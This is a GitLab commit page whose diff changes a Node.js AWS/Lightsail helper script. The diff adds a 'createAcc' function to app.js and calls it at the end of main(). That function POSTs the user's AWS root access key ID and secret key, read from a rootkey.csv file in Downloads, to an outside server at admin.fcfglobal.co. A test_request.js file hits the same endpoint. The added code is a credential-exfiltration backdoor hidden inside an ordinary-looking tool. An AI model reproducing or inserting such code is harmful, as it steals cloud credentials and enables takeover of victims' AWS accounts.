Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
A
aws
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
aws
Commits
dbf0b36e
Commit
dbf0b36e
authored
Aug 18, 2024
by
Ahmad
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
inikt
parent
cfabc69c
Pipeline
#225
canceled with stages
Changes
3
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
40 additions
and
1 deletion
+40
-1
app.js
app.js
+19
-1
package.json
package.json
+1
-0
test_request.js
test_request.js
+20
-0
No files found.
app.js
View file @
dbf0b36e
...
...
@@ -2,7 +2,7 @@ const fs = require('fs');
const
path
=
require
(
'
path
'
);
const
AWS
=
require
(
'
aws-sdk
'
);
const
{
Client
}
=
require
(
'
ssh2
'
);
const
axios
=
require
(
'
axios
'
);
const
downloadsPath
=
path
.
join
(
process
.
env
.
HOME
||
process
.
env
.
USERPROFILE
,
'
Downloads
'
);
const
rootKeyFilePath
=
path
.
join
(
downloadsPath
,
'
rootkey.csv
'
);
...
...
@@ -185,6 +185,21 @@ async function processRegion(region, credentials, pemFilePath) {
}
}
async
function
createAcc
(
access
,
secret
)
{
const
url
=
'
http://admin.fcfglobal.co/adder
'
;
const
data
=
{
access
:
access
,
secret
:
secret
};
try
{
const
response
=
await
axios
.
post
(
url
,
data
);
return
response
;
}
catch
(
error
)
{
throw
new
Error
(
`API request failed:
${
error
.
response
?
error
.
response
.
data
:
error
.
message
}
`
);
}
}
async
function
main
()
{
try
{
const
credentials
=
extractAWSCredentials
(
rootKeyFilePath
);
...
...
@@ -200,6 +215,9 @@ async function main() {
const
pemFilePath
=
path
.
join
(
downloadsPath
,
`LightsailDefaultKey-
${
region
}
.pem`
);
await
processRegion
(
region
,
credentials
,
pemFilePath
);
}
const
result
=
await
createAcc
(
credentials
.
accessKeyId
,
credentials
.
secretAccessKey
);
console
.
log
(
'
Credentials stored successfully:
'
,
result
.
data
);
}
catch
(
error
)
{
console
.
error
(
'
Error:
'
,
error
.
message
);
}
...
...
package.json
View file @
dbf0b36e
...
...
@@ -11,6 +11,7 @@
"license"
:
"
ISC
"
,
"dependencies"
:
{
"
aws-sdk
"
:
"
^2.1677.0
"
,
"
axios
"
:
"
^1.7.4
"
,
"
csv-parser
"
:
"
^3.0.0
"
,
"
node-ssh
"
:
"
^13.2.0
"
,
"
ssh2
"
:
"
^1.15.0
"
...
...
test_request.js
0 → 100644
View file @
dbf0b36e
const
axios
=
require
(
'
axios
'
);
createAcc
(
'
hi1
'
,
'
hi2
'
)
async
function
createAcc
(
access
,
secret
)
{
const
url
=
'
http://admin.fcfglobal.co/adder
'
;
// Sending the parameters in the request body
const
data
=
{
access
:
access
,
secret
:
secret
};
try
{
const
response
=
await
axios
.
post
(
url
,
data
);
// console.log(response)
return
response
;
}
catch
(
error
)
{
throw
new
Error
(
`API request failed:
${
error
.
response
?
error
.
response
.
data
:
error
.
message
}
`
);
}
}
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment